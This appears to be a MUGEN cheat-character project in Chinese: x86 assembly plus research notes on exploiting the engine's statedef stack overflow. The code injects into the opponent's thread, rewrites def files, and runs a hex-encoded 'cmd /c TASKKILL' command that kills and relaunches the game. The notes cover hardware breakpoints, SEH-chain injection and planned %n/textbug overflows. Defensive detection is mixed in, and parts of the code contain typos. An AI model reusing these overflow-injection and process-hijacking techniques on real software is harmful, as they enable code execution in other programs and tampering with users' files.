jmp palno_range
;某个特殊模式的player4
p4_leitaizhan:
mov eax,[esi-00002CA8]
mov [4B42FF],11111111
jmp palno_range
p6:
mov eax,[esi-00002C4C]
mov [4B42FF],11111111
jmp palno_range
p8:
mov eax,[esi-00002BF0]
mov [4B42FF],11111111
jmp palno_range
;判断p数,选择头像
palno_range:
cmp eax,01
ja palno_detect
cmp eax,00
jb palno_detect
mov [4B4270],eax
mov ebp,eax
mov ebx,eax
cmp [ebp*4+4B41E0],00000000
jne sff
mov edx,[4B42A0]
add ebx,66732E40
mov [4B42D6],ebx
push 4BDFF0
push edx
call [4B4194]
add esp,08
mov [ebp*4+4B41E0],eax
;换头像
sff:
mov ecx,[4B41AF]
mov edx,[ebp*4+4B41E0]
mov [ecx],edx
;判断之前保存下来的自己的p数
mov eax,[4B4270]
;1p,进入攻击模块
cmp eax,00
je attack_init
;否则进入防御模块
jmp defense
attack_init:
;攻击用的cmd命令
mov [4B4000],72616863
mov [4B4004],616E5C73
mov [4B4008],6179616E
mov [4B400C],6968735F
mov [4B4010],695C696B
mov [4B4014],78742E31
mov [4B4018],00000074
mov [4B401C],72616863
mov [4B4020],616E5C73
mov [4B4024],6179616E
mov [4B4028],6968735F
mov [4B402C],695C696B
mov [4B4030],78742E32
mov [4B4034],00000074
mov [4B4038],72616863
mov [4B403C],616E5C73
mov [4B4040],6179616E
mov [4B4044],6968735F
mov [4B4048],695C696B
mov [4B404C],65642E33
mov [4B4050],00000066
mov [4B4054],61657243
mov [4B4058],69466574
mov [4B405C],41656C
mov [4B4060],64616552
mov [4B4064],656C6946
mov [4B4068],00000000
mov [4B406C],74697257
mov [4B4070],6C694665
mov [4B4074],00000065
mov [4B4090],736F6C43
mov [4B4094],6E614865
mov [4B4098],00656C64
mov [4B40F0],456E6957
mov [4B40F4],00636578
;获取CreateFile,ReadFile,WriteFile和CloseHandle的地址
push 49F604
call dword ptr [49F0B8]
mov edi,eax
push 4B4054
push edi
call dword ptr [49F130]
mov [4B4100],eax
push 4B4060
push edi
call dword ptr [49F130]
mov [4B4104],eax
push 4B406C
push edi
call dword ptr [49F130]
mov [4B4108],eax
push 4B4090
push edi
call dword ptr [49F130]
mov [4B411C],eax
push 4B40F0
push edi
call dword ptr [49F130]
mov [4B41F0],eax
mov ebp,[4B5B4C]
;判断之前保存的p侧数据
;1p侧
cmp [4B42FF],FFFFFFFF
je p1_attack_init
;2p侧
cmp [4B42FF],11111111
je p2_attack_init
jmp start
p1_attack_init:
;判断p2是否已选
p2_is_selected:
mov eax,[ebp+00000FCC]
;没有选择,在这里等待
cmp eax,-01
;已经选择
je p2_is_selected
;求出p2的displayname基地址
mov eax,[ebp+00000F80]
mov ebx,[ebp+00000FCC]
imul eax,ebx
add eax,[ebp+00000FEC]
jmp attack
p2_attack_init:
mov eax,[ebp+00000F80]
mov ebx,[ebp+00000FBC]
imul eax,ebx
add eax,[ebp+00000FDC]
attack:
mov edx,438
imul eax,edx
mov ecx,[4B54C8]
add ecx,04
add ecx,eax
mov [4B4400],ecx
xor ebx,ebx
;获取敌人的displayname并写入到重启用的def文件中
enemy_displayname:
inc ebx
cmp [ecx+ebx],00000000
mov eax,[ecx+ebx-1]
mov [ebx+4B301D],eax
jne enemy_displayname
mov [4B4405],ebx
push 00
push 00000080
push 03
push 00
push 00
push 80000000
push 4B4000
call dword ptr [4B4100]
mov [4B4120],eax
push 00
push 4B4406
push 1E
push 4B3000
push [4B4120]
call dword ptr [4B4104]
push [4B4120]
call dword ptr [4B411C]
mov [ebx+4B301E],00000022
mov [ebx+4B301F],0000000D
mov [ebx+4B3020],0000000A
push 00
push 00000080
push 03
push 00
push 00
push 80000000
push 4B401C
call dword ptr [4B4100]
mov [4B4124],eax
mov eax,4B3021
add eax,ebx
push 00
push 4B4406
push 000003C6
push eax
push [4B4124]
call dword ptr [4B4104]
push [4B4124]
call dword ptr [4B411C]
push 00
push 00000080
push 02
push 00
push 00
push 40000000
push 4B4038
call dword ptr [4B4100]
mov [4B4128],eax
mov eax,000003E6
add eax,ebx
push 00
push 4B4406
push eax
push 4B3000
push [4B4128]
call dword ptr [4B4108]
push [4B4128]
call dword ptr [4B411C]
call dword ptr [49F0B0]
mov [4B412C],eax
mov [4B4200],20646D63
mov [4B4204],5420632F
mov [4B4208],4B4B5341
mov [4B420C],204C4C49
mov [4B4210],2F20462F
mov [4B4214],22204946
mov [4B4218],444E4957
mov [4B421C],4954574F
mov [4B4220],20454C54
mov [4B4224],4D207165
mov [4B4228],472E552E
mov [4B422C],4E2E452E
mov [4B4230],22262622
xor ebx,ebx
;获取mugen主程序的绝对路径
mugen_path:
inc ebx
mov dl,[eax+ebx]
cmp dl,22
je cmd_select
mov [ebx+4B4233],dl
jmp mugen_path
;写入后续重启cmd命令
cmp [4B42FF],FFFFFFFF
jne p2_cmd
mov eax,4B4233
mov [eax+ebx],20202022
mov [eax+ebx+04],2031702D
mov [eax+ebx+08],616E616E
mov [eax+ebx+0C],735F6179
mov [eax+ebx+10],696B6968
mov [eax+ebx+14],6F79725C
mov [eax+ebx+18],5F696775
mov [eax+ebx+1C],6B696873
mov [eax+ebx+20],65642E69
mov [eax+ebx+24],702D2066
mov [eax+ebx+28],616E2032
mov [eax+ebx+2C],6179616E
mov [eax+ebx+30],6968735F
mov [eax+ebx+34],695C696B
mov [eax+ebx+38],65642E33
mov [eax+ebx+3C],722D2066
mov [eax+ebx+40],646E756F
mov [eax+ebx+44],26322073
mov [eax+ebx+48],6C656426
mov [eax+ebx+4C],61686320
mov [eax+ebx+50],6E5C7372
mov [eax+ebx+54],79616E61
mov [eax+ebx+58],68735F61
mov [eax+ebx+5C],5C696B69
mov [eax+ebx+60],642E3369
mov [eax+ebx+64],00006665
jmp attack_fin
p2_cmd:
mov eax,4B4233
mov [eax+ebx],20202022
mov [eax+ebx+04],2031702D
mov [eax+ebx+08],616E616E
mov [eax+ebx+0C],735F6179
mov [eax+ebx+10],696B6968
mov [eax+ebx+14],2E33695C
mov [eax+ebx+18],20666564
mov [eax+ebx+1C],2032702D
mov [eax+ebx+20],616E616E
mov [eax+ebx+24],735F6179
mov [eax+ebx+28],696B6968
mov [eax+ebx+2C],6F79725C
mov [eax+ebx+30],5F696775
mov [eax+ebx+34],6B696873
mov [eax+ebx+38],65642E69
mov [eax+ebx+3C],722D2066
mov [eax+ebx+40],646E756F
mov [eax+ebx+44],26322073
mov [eax+ebx+48],6C656426
mov [eax+ebx+4C],61686320
mov [eax+ebx+50],6E5C7372
mov [eax+ebx+54],79616E61
mov [eax+ebx+58],68735F61
mov [eax+ebx+5C],5C696B69
mov [eax+ebx+60],642E3369
mov [eax+ebx+64],00006665
attack_fin:
push 00
push 4B4200
call dword ptr [4B41F0]
;防御模块
defense:
mov ebp,[4B5B4C]
cmp [ebp+0000FEC],FFFFFFFF
je defense
cmp [4B42FF],FFFFFFFF
je p1_defense
cmp [4B42FF],11111111
je p2_defense
jmp defense
p1_defense:
mov ecx,[4B41A4]
inc ecx
mov ebx,[ebp+CD0]
sub ebx,A1E
mov edx,E30
imul ecx,edx
add ecx,ebx
mov [4B4400],ecx
mov edx,313E313E
add edx,30303030
cmp [ecx],edx
jne p1_pre_in_round_fix
mov edx,432F3149
add edx,30303030
cmp [ecx+04],edx
jne p1_pre_in_round_fix
mov edx,393B3938
add edx,30303030
cmp [ecx+08],edx
jne p1_pre_in_round_fix
mov edx,3030305F
sub edx,30303030
cmp [ecx+0C],edx
jne p1_pre_in_round_fix
mov edx,313E313E
add edx,30303030
cmp [ecx-206],edx
jne p1_pre_in_round_fix
mov edx,432F3149
add edx,30303030
cmp [ecx-202],edx
jne p1_pre_in_round_fix
mov edx,393B3938
add edx,30303030
cmp [ecx-1FE],edx
jne p1_pre_in_round_fix
mov edx,363533FE
add edx,30303030
cmp [ecx-1FA],edx
jne p1_pre_in_round_fix
set_breakpoint:
cmp [4B42F0],FFFFFFFF
jne set_breakpoint
mov [4B4300],3F
push 4B4300
push [4BE320]
call dword ptr [4BE310]
mov [4B4304],47F18A
mov [4B4308],47ECF1
mov [4B430C],47F23F
mov [4B4318],415
push 4B4300
push [4BE320]
call dword ptr [4BE314]
mov [4B42F0],01010101
push [4BE320]
call dword ptr [4BE308]
jmp p1_in_round_init
p1_pre_in_round_fix:
mov [4B42F0],1
p1_in_round_init:
cmp dword ptr [ebp+0000B758],00
je p1_in_round_init
mov [4B2188],49221E
mov eax,[4B5B4C]
mov ebp,eax
add ebp,0000B754
mov ebp,[ebp]
mov edi,eax
add edi,0000B758
mov edi,[edi]
mov edx,[ebp+00000BE8]
mov esi,[edx]
mov [4B4200],esi
p1_in_round_detecte:
mov ecx,[eax+B654]
add ecx,30
mov esi,[edx]
cmp [4B4200],esi
jne p1_in_round_fix
cmp [4B69B8],01
je p1_in_round_fix
cmp [4B6A38],01
je p1_in_round_fix
cmp [ebp+00000158],00
je p1_in_round_fix
cmp dword ptr [edi+00002620],00
jne p1_in_round_fix
cmp [4B48E8],496651
jne p1_in_round_fix
cmp dword ptr [4B42F0],00
jne p1_in_round_fix
mov ebx,313E313E
add ebx,30303030
cmp [ecx],ebx
jne p1_in_round_fix
mov ebx,432F3149
add ebx,30303030
cmp [ecx+4],ebx
jne p1_in_round_fix
mov ebx,393B3938
add ebx,30303030
cmp [ecx+8],ebx
jne p1_in_round_fix
cmp [4B5960],429CB0
jne p1_in_round_fix
cmp [4B48E8],496651
jne p1_in_round_fix
cmp [4B48EC],4962FB
jne p1_in_round_fix
cmp [4B48F0],496361
jne p1_in_round_fix
cmp [4B48F4],4962A1
jne p1_in_round_fix
mov ebx,[4B6178]
cmp [4B40A0],ebx
jne p1_in_round_fix
cmp dword ptr [ebp],00
je exit
jmp p1_in_round_detecte
p1_in_round_fix:
mov esi,[4B4200]
mov [edx],esi
mov [ebp+00000E24],00000001
mov esi,[edi+00000BE8]
mov [esi],4B4290
mov [edi+00000E24],00000000
mov [4B48E8],496651
mov ebx,313E313E
add ebx,30303030
mov [ecx],ebx
mov ebx,432F3149
add ebx,30303030
mov [ecx+4],ebx
mov ebx,393B3938
add ebx,30303030
mov [ecx+8],ebx
mov ebx,[4B40A0]
mov [4B6178],ebx
cmp dword ptr [ebp],00
je exit
cmp [ebp+158],01
je p1_in_round_fix
cmp [4B69B8],1
je p1_player_button_off_fix
cmp [4B6A38],1
je p1_player_button_off_fix
mov [ebp+158],01
jmp p1_in_round_fix
p1_player_button_off_fix:
mov [4B5948],0
mov [4B594C],1
mov [4B699D],1
mov [4B69B8],1
mov [4B5548],2
jmp p1_in_round_fix
p2_defense:
mov ecx,[4B41A4]
inc ecx
mov ebx,[ebp+CD0]
sub ebx,A1E
mov edx,E30
imul ecx,edx
add ecx,ebx
mov [4B4400],ecx
p2_pre_in_round_detecte:
mov edx,313E313E
add edx,30303030
cmp [ecx],edx
jne p2_pre_in_round_fix
mov edx,432F3149
add edx,30303030
cmp [ecx+04],edx
jne p2_pre_in_round_fix
mov edx,393B3938
add edx,30303030
cmp [ecx+08],edx
jne p2_pre_in_round_fix
mov edx,3030305F
sub edx,30303030
cmp [ecx+0C],edx
jne p2_pre_in_round_fix
mov edx,313E313E
add edx,30303030
cmp [ecx-206],edx
jne p2_pre_in_round_fix
mov edx,432F3149
add edx,30303030
cmp [ecx-202],edx
jne p2_pre_in_round_fix
mov edx,393B3938
add edx,30303030
cmp [ecx-1FE],edx
jne p2_pre_in_round_fix
mov edx,363533FE
add edx,30303030
cmp [ecx-1FA],edx
jne p2_pre_in_round_fix
cmp [4B5960],429CB0
jne p2_pre_in_round_fix
cmp [4B48E8],496651
jne p2_pre_in_round_fix
cmp [4B48EC],4962FB
jne p2_pre_in_round_fix
cmp [4B48F0],496361
jne p2_pre_in_round_fix
cmp [4B48F4],4962A1
jne p2_pre_in_round_fix
cmp dword ptr [ebp+0000B758],00
jne p2_in_round_init
jmp p2_pre_in_round_detecte
p2_pre_in_round_fix:
mov [4B42F0],01
mov [4B5960],429CB0
mov [4B48E8],496651
mov [4B48EC],4962FB
mov [4B48F0],496361
mov [4B48F4],4962A1
mov edx,[4B4130]
mov [4B6178],edx
p2_in_round_init:
mov eax,[4B5B4C]
mov ebp,eax
add ebp,0000B758
mov ebp,[ebp]
test ebp,ebp
jz p2_in_round_init
mov edi,eax
add edi,0000B754
mov edi,[edi]
mov edx,[ebp+00000BE8]
mov esi,[edx]
mov [4B4200],esi
p2_in_round_detecte:
mov ecx,[eax+B658]
add ecx,30
mov esi,[edx]
cmp [4B4200],esi
jne p2_in_round_fix
cmp [4B69B8],01
je p2_in_round_fix
cmp [4B6A38],01
je p2_in_round_fix
cmp dword ptr [edi+00002620],00
jne p2_in_round_fix
cmp [4B48E8],496651
jne p2_in_round_fix
cmp dword ptr [4B42F0],00
jne p2_in_round_fix
mov ebx,313E313E
add ebx,30303030
cmp [ecx],ebx
jne p2_in_round_fix
mov ebx,432F3149
add ebx,30303030
cmp [ecx+4],ebx
jne p2_in_round_fix
mov ebx,393B3938
add ebx,30303030
cmp [ecx+8],ebx
jne p2_in_round_fix
cmp [4B5960],429CB0
jne p2_in_round_fix
cmp [4B48E8],496651
jne p2_in_round_fix
cmp [4B48EC],4962FB
jne p2_in_round_fix
cmp [4B48F0],496361
jne p2_in_round_fix
cmp [4B48F4],4962A1
jne p2_in_round_fix
mov ebx,[4B6178]
cmp [4B40A0],ebx
jne p2_in_round_fix
cmp dword ptr [edi],00
je exit
cmp dword ptr [ebp+0000BC30],01
jne p2_in_round_detecte
jmp p2_in_round_detecte
p2_in_round_fix:
mov esi,[4B4200]
mov [edx],esi
mov [ebp+00000E24],00000001
mov esi,[edi+00000BE8]
mov [esi],4B4290
mov [edi+00000E24],00000000
mov [4B48E8],496651
mov ebx,313E313E
add ebx,30303030
mov [ecx],ebx
mov ebx,432F3149
add ebx,30303030
mov [ecx+4],ebx
mov ebx,393B3938
add ebx,30303030
mov [ecx+8],ebx
mov ebx,[4B40A0]
mov [4B6178],ebx
cmp dword ptr [edi],00
je exit
cmp [4B69B8],1
je p2_player_button_off_fix
cmp [4B6A38],1
je p2_player_button_off_fix
jmp p2_in_round_fix
p2_player_button_off_fix:
mov [4B5948],0
mov [4B594C],1
mov [4B699D],1
mov [4B69B8],1
mov [4B5548],3
jmp p2_in_round_fix
exit:
mov eax,[4B5B4C]
add eax,FBC
mov [eax],FFFFFFFF
next_round_dectet:
cmp [eax],FFFFFFFF
je next_round_dectet
mov [eax+10],FFFFFFFF
popfd
popad
jmp esi
本文详细介绍了七夜式的研究开发过程
本文所有代码遵循GPLv2许可证发布
https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
※以下内容皆为转载
s溢出的注意点:
1.每隔1kb的代码必须要有一个00,否则mugen会直接在相应位置插入00,导致代码错误
2.不能出现00,3B
3.st文件不要放在第一个,会导致异常
Statedef状态号溢出攻击研究
# 检测研究
## 基础知识
Statedef溢出原理:压入的状态号过长将esp中原本的返回位置覆盖了
47EBF0是文件处理入口,47F18A,47ECF1,47F23F是返回到溢出写入地址的位置
47E9B6也是一个返回地址
4949F0 改动4B2188处可以在对方的读取线程里插入自己的代码,这个地方的原始值是49221E
注入时获取的esp与对方的状态号返回地址差值10D0 注入时不可读 1p人物信息指针尚未赋值
esp-DD0出是对方正在处理的文件名字符串头
状态号返回地址对应堆栈位置的值不固定,进入到溢出区段时可能是正常的地址,在区段中地址保持不变,之后那个位置的值基本随机
状态号与获取的esp的差值:0D21FF54-0D21EE4C=1108,这个位置是状态号的空格
esp-dd0处不是00时尚未开始读取statedef状态号
使用常规的检测太慢,需要一些手段
考虑在对方的状态号返回地址处设置硬件断点,在写入时触发,触发之后会调用异常处理函数。把事先写好的异常处理函数加入对方读取线程的SEH链中。硬件断点会抛出EXCEPTION_SINGLE_STEP异常
进入异常处理函数之后,如果是EXCEPTION_SINGLE_STEP异常就说明对方正在写入状态号返回地址,检查是否正在读取statedef,如果是则判断返回地址是否是正常值
如果返回地址不是正常值,就改成47EB31
返回
在使用中断+断点之后就不必再设置开始检查和结束检查的条件,只要等到对方的人物信息基地址不是00就进入下一步即可。在这个过程中子线程不执行任何动作。
statedef溢出检查完全在对方的线程里执行,子线程不干预
fs:[0]指向的区域是可读的,不用担心
由于硬件断点的限制,需要在47EBF0处再设置一个硬件断点,在47EBF0处的异常处理函数里启用对47F18A的断点,在47F18A处的异常处理函数里启用对47EBF0的断点
## 初步思路:
### 对方子线程:
构造一个新的EXCEPTION_REGISTRATION结构,函数地址是statedef_of_dectet_pre,prev是fs:[0]。
修改对方线程的fs:[0],即SEH链,指向上一步构造的结构
在edi+40处设置一个硬件断点,在写入时触发
### 异常处理函数:
取出EXCEPTION_RECORD,读出其中的ExceptionCode和ExceptionAddress
检查ExceptionCode是否是EXCEPTION_SINGLE_STEP(0x80000004),不是返回EXCEPTION_CONTINUE_SEARCH (0)
检查[esp]是否是47EB31或者47E9B6,不是改成47EB31并且4B42F0改成1,返回EXCEPTION_CONTINUE_EXECUTION
异常处理函数入口地址[4B4300]
~~# 详细设计:~~
~~## 对方子线程:~~
~~1. 保存esp到4B4120~~
~~2. push 异常处理函数入口地址,push fs:[0],构造新的SEH链结构~~
~~3. mov fs:[0],esp,装入~~
~~4. 写入“GetCurrentThread”~~
~~5. 获取GetCurrentThread的地址,保存~~
~~1. 写入“SuspendThread”~~
~~1. 获取SuspendThread的地址,保存~~
~~2. 写入“ResumeThread"~~
~~1. 获取ResumeThread的地址,保存~~
~~6. 写入“GetThreadContext”~~
~~1. 获取GetThreadContext的地址,保存~~
~~8. 写入“SetThreadContext”~~
~~1. 获取SetThreadContext的地址,保存~~
~~10. 调用GetCurrentThread,获取当前线程的句柄,保存到内存中~~
~~1. 在[4B4200]写入FFFFFFFF~~
~~1. 调用SuspendThread,暂停自己~~
~~## 己方子线程:~~
~~1. 检查[4B4200]是否是FFFFFFFF,不是继续检查~~
~~11. 调用GetThreadContext,获取对方子线程的Context~~
~~11. 读dr6,判断异常原因~~
~~12. 如果是47F18A引发异常 修改Context,Dr0写入47EBF0,Dr7写入401,其他部分不改动;否则修改Context,Dr1写入47F18A,Dr7写入404~~
~~14. 调用SetThreadContext,写入新的Context~~
~~14. 在[4B4200]写入10101010~~
~~15. 调用ResumeThread,恢复对方子线程~~
如果在47F18A处设置一个断点,然后在异常处理函数里把CONTEXT->EIP改成403249,重新启用dr0,即让程序从另一个ret指令处返回,避开硬件断点,并返回EXCEPTION_CONTINUE_EXECUTION让程序从403249开始执行
## 原理:
Intel 提供了Drx寄存器用于设置硬件断点,执行到硬件断点处会产生单步异常。
在对方的47F18A处设置硬件断点并注入对方选人线程的SEH,在对方执行到47F18A时会触发单步异常。这时自己定义的异常处理函数会被调用,通过判断此时选人线程的返回地址来判断对方是否使用了statedef溢出,如果是就修正地址并通知自己的子线程,之后修改eip到另一个ret指令处,重新启用断点并通知系统忽略异常,这样选人线程会继续执行。当对方读取完毕时自己的子线程进入下一功能模块。
47F18A处只在处理状态定义时执行,执行时返回地址必然是状态定义处理的返回地址,稳定可靠
## 详细设计:
### 对方子线程:
1. 保存esp到4B4120
1. push 异常处理函数入口地址,push fs:[0],构造新的SEH链结构
1. mov fs:[0],esp,装入
1. 写入“GetCurrentThread”
1. 获取GetCurrentThread的地址,保存
1. 写入“SuspendThread”
1. 获取SuspendThread的地址,保存
1. 写入“ResumeThread"
1. 获取ResumeThread的地址,保存
1. 写入“GetThreadContext”
1. 获取GetThreadContext的地址,保存
1. 写入“SetThreadContext”
1. 获取SetThreadContext的地址,保存
1. 调用GetCurrentThread,获取当前线程的伪句柄,保存到内存中
1. 调用GetCurrentProcess获取当前进程的伪句柄(49F0E8)
1. 调用DuplicateHandle获取当前进程的真实句柄,参数为CurrentProcess,CurrentThread,CurrentProcess,4BE320,00000000,01,00000002
1. 在[4B4200]写入FFFFFFFF
1. 调用SuspendThread,暂停自己
### 己方子线程:
1. 检查[4B4200]是否是FFFFFFFF,不是继续检查
1. 调用GetThreadContext,获取对方子线程的Context
1. 修改Context,Dr0写入47F18A,Dr1写入47ECF1,Dr2写入47F23F,Dr7写入415
1. 调用SetThreadContext,写入新的Context
1. 在[4B4200]写入00000000
1. 调用ResumeThread,恢复对方子线程
### 异常处理函数:
push ebp
mov ebp,esp
sub esp,08
push ebx
push esi
push edi
mov eax,[ebp+08];第一个参数ExceptionRecord的地址
mov eax,[eax];第一个参数ExceptionRecord的ExceptionCode
cmp [eax],0x80000004;是否是EXCEPTION_SINGLE_STEP异常
jne 交给其他的处理函数
mov eax,[4B4120]
sub eax,10D0
cmp [eax],47EB31
je 返回
cmp [eax],47E9B6
je 返回
mov [eax],47EB31
mov [4B42F0],1
mov eax,FFFFFFFF
jmp 返回
交给其他的处理函数:
xor eax,eax
返回:
修改CONTEXT->DR7为401
修改CONTEXT->EIP为403249
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret
## 编码:
### 对方子线程:
### 异常处理函数:
push ebp
mov ebp,esp
sub esp,08
push ebx
push esi
push edi
mov eax,[ebp+08];第一个参数ExceptionRecord的地址
mov eax,[eax];第一个参数ExceptionRecord的ExceptionCode
cmp [eax],0x80000004;是否是EXCEPTION_SINGLE_STEP异常
jne 交给其他的处理函数
mov eax,[4B4120]
sub eax,10D0
cmp [eax],47EB31
je 返回
cmp [eax],47E9B6
je 返回
mov [eax],47EB31
mov [4B42F0],1
mov eax,FFFFFFFF
jmp 返回
交给其他的处理函数:
xor eax,eax
返回:
mov [4B4200],FFFFFFFF
调用SuspendThread,暂停自己
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret
except_handler:
push ebp
mov ebp,esp
sub esp,08
push ebx
push esi
push edi
mov eax,[ebp+08];第一个参数ExceptionRecord的地址
mov eax,[eax];第一个参数ExceptionRecord的ExceptionCode
cmp [eax],0x80000004;是否是EXCEPTION_SINGLE_STEP异常
jne ret_search
mov eax,[4B4120]
sub eax,10D0
cmp [eax],47EB31
je ret_EXECUTION
cmp [eax],47E9B6
je ret_EXECUTION
mov [eax],47EB31
mov [4B42F0],1
mov eax,FFFFFFFF
jmp ret_EXECUTION
ret_search:
xor eax,eax
ret_EXECUTION:
;修改CONTEXT->DR7为401
;获取CONTEXT的指针
mov edx,[ebp+10]
mov edx,[edx]
add edx,18
mov [edx],401
;修改CONTEXT->EIP为403249
add edx,A0
mov [edx],403249
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret
# 编码:
对方子线程:
pushad
pushfd
mov [4B4120],esp
push 4B3000
push fs:[0]
mov fs:[0],esp
;写入“GetCurrentThread”,从4BE200开始,避开1p的字符串
mov [4BE200],43746547
mov [4BE204],65727275
mov [4BE208],6854746E
mov [4BE20C],72656164
push 49F604;KERNEL32
call dword ptr [49F0B8];KERNEL32.GetModuleHandleA,获取KERNEL32.dll地址
mov edi,eax
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE300],eax
;写入“SuspendThread”
mov [4BE200],70737553
mov [4BE204],54646E65
mov [4BE208],61657268
mov [4BE20C],00000064
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE304],eax
;写入“ResumeThread"
mov [4BE200],75736552
mov [4BE204],6854656D
mov [4BE208],64616572
mov [4BE20C],00000000
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE308],eax
;写入“GetThreadContext”
mov [4BE200],54746547
mov [4BE204],61657268
mov [4BE208],6E6F4364
mov [4BE20C],74786574
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE310],eax
;写入“SetThreadContext”
mov [4BE200],54746553
mov [4BE204],61657268
mov [4BE208],6E6F4364
mov [4BE20C],74786574
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE314],eax
;写入“DuplicateHandle”
mov [4BE200],6C707544
mov [4BE204],74616369
mov [4BE208],6E614865
mov [4BE20C],00656C64
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE318],eax
;调用GetCurrentThread,获取当前线程的句柄,保存到[4BE320]
call dword ptr [4BE300]
mov [4BE320],eax
;调用GetCurrentProcess获取当前进程的伪句柄(49F0E8)
call dowrd ptr [49F0E8]
;调用DuplicateHandle获取当前进程的真实句柄,参数为CurrentProcess,CurrentThread,CurrentProcess,4BE320,00000000,01,00000002
push 00000002
push byte 01
push 00000000
push 4BE320
push eax
push [4BE320]
push eax
call dword ptr [4BE318]
mov [4B42F0],FFFFFFFF
;调用SuspendThread,暂停自己
push [4BE320]
call dword ptr [4BE304]
popfd
popad
ret
己方子线程:
set_breakpoint:
cmp [4B42F0],FFFFFFFF
jne set_breakpoint_pre
;调用GetThreadContext,获取对方子线程的Context,写入到4B4300
push 4B4300
push [4BE320]
call dword ptr [4BE310]
;修改Context,Dr0写入47F18A,Dr7写入401
mov [4B4304],47F18A
mov [4B4318],401
;调用SetThreadContext,写入新的Context
push 4B4300
push [4BE320]
call dword ptr [4BE314]
;恢复标志位
mov [4B42F0],01010101
;调用ResumeThread,恢复对方子线程
push [4BE320]
call dowrd ptr [4BE308]
Dr7为00000000000000000000010000000001,设置是:启用Dr0,局部;关闭保护;写入时触发;断点长度4字节。注意大小端的问题。
00000000000000000000010000000100
需要注意的点:
线程退出时这些内存区域会变成不可读,如果判断的条件不对会造成报错,即使条件是对的,如果由于多线程问题也有可能出现报错。 利用VirtualQurey检查是否可读
如果能够确定mugen对于各个文件的读取顺序,那么发现对应位置不再是“Statedef”时退出检测 x 对于多个st文件的人物会出现检测失败的情况。
如果能够有判断st文件已经全部完成读取的方法,那么就可以实现稳定检测了 x 可能不需要了
检查读取出的内存开头+4是否是“eate”这个方法是否可靠,会不会出现满足条件但是并不是在处理statdef状态号或者不满足条件但是是在处理statedef状态号的情况
在触发断点之后会取消断点的有效位,所以要在异常处理函数中暂停对方子线程并通过一个内存中的标志通知自己的子线程重新写入标志位。 x 利用异常处理函数获取的线程上下文直接恢复断点并设置eip避开断点
在应用层是不能直接操作Drx寄存器的值,但可以调用这两个api来读写线程的上下文,来达到设置硬件断点的目的,
不要使用EXCEPTION_EXECUTE_HANDLER,返回的地址是不明确的
把写入异常处理函数和对方子线程的工作放到statedef文件里进行,不需要给1p写额外的分支,对方选人进程suspend已经足够了,子线程的1p侧攻击也不需要改
使用GetThreadContext需要先构造一个CONTEXT结构体并初始化其中的Context.ContextFlags,Context.ContextFlags设置为CONTEXT_FULL。具体方式在4B4300那里写入一个3F
GetCurrentThread返回的线程永远指向当前线程
异常处理函数的值必须是以下其一
typedef enum _EXCEPTION_DISPOSITION {
ExceptionContinueExecution,
ExceptionContinueSearch,
ExceptionNestedException,
ExceptionCollidedUnwind
} EXCEPTION_DISPOSITION;
ExceptionContinueExecution 表示:已经处理了异常,回到异常触发点继续执行。
ExceptionContinueSearch 表示:没有处理异常,继续遍历异常链表。
ExceptionCollidedUnwind 表示在展开过程中再次触发异常。
EXCEPTION_RECORD struct{ //共6个成员
+0 DWORD ExceptionCode //异常代码,定义了产生异常的原因
+4 DWORD ExceptionFlags //异常标志 ?
+8 struct EXCEPTION_RECORD //指针,指向另一个EXCEPTION_RECORD结构
+C DVOID ExceptionAddress //异常发生的地址
+10 DWORD NumberParameters //与异常联系的参数个数(0~15)一般=0 ?
+14 ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS] //异常信息 ?
}EXCEPTION_RECORD ends
typedef struct _CONTEXT {
/*000*/ DWORD ContextFlags;
/*004*/ DWORD Dr0;
/*008*/ DWORD Dr1;
/*00C*/ DWORD Dr2;
/*010*/ DWORD Dr3;
/*014*/ DWORD Dr6;
/*018*/ DWORD Dr7;
/*01C*/ FLOATING_SAVE_AREA FloatSave;
/*08C*/ DWORD SegGs;
/*090*/ DWORD SegFs;
/*094*/ DWORD SegEs;
/*098*/ DWORD SegDs;
/*09C*/ DWORD Edi;
/*0A0*/ DWORD Esi;
/*0A4*/ DWORD Ebx;
/*0A8*/ DWORD Edx;
/*0AC*/ DWORD Ecx;
/*0B0*/ DWORD Eax;
/*0B4*/ DWORD Ebp;
/*0B8*/ DWORD Eip;
/*0BC*/ DWORD SegCs;
/*0C0*/ DWORD EFlags;
/*0C4*/ DWORD Esp;
/*0C8*/ DWORD SegSs;
/*0CC*/ BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
/*2CC*/ } CONTEXT;
EXCEPTION_DISPOSITION __cdecl _except_handler (
_In_ struct _EXCEPTION_RECORD *_ExceptionRecord, //异常记录结构指针
_In_ void * _EstablisherFrame, //指向EXCEPTION_REGISTRATION结构,即SEH链
_Inout_ struct _CONTEXT *_ContextRecord, //Context结构指针 (线程上下文)
_Inout_ void * _DispatcherContext //无意义 (调度器上下文?)
);
# 对于state缺失型溢出的处理思考
对于state缺失型溢出而言,上述处理方法依然能够检测出溢出,但是由于溢出的statedef无控制器不合法,不能完成读取。这时按照普通方法处理mugen会不停地读取这个statedef,溢出会多次执行,并且无法开局。
目前的做法是检测到这种溢出直接关闭程序,不过也可做如下设想:在对方的statedef溢出后面加上一个null控制器,这样对方就有了一个控制器的_文本_,如果重新读取时能够读取到,那个就能解除无限读取并且开幕。
根据新的拉莱耶文本,ebx是控制mugen是否重新加载statedef的控制器,修改它的值就可以阻止mugen重新读取statedef
那么改为在读取statedef处设置硬件断点,检查读入的statedef号长度,超过56的部分去除,同时覆盖ebx阻止重新读取statedef,就可以拦截所有的s溢出
x
47EBF0处的esp指向返回地址,只要返回地址不是标准值就可以认为发生了S溢出
;==========================
%n与textbug研究
思路:利用s溢出写入暂停代码和断点设置与SEH注入代码。之后通过主线程调用的代码来让主线程执行暂停。线程检测到主线程暂停之后设置断点与SEH函数,之后恢复主线程执行
重点:
1. 给出判断%n与textbug的方式
2. 找出速度最快的主线程调用代码
已知:
